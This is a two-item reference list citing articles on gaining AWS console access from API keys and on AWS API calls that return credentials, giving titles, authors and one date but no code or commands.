- Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020
- AWS API calls that return credentials - kmcquade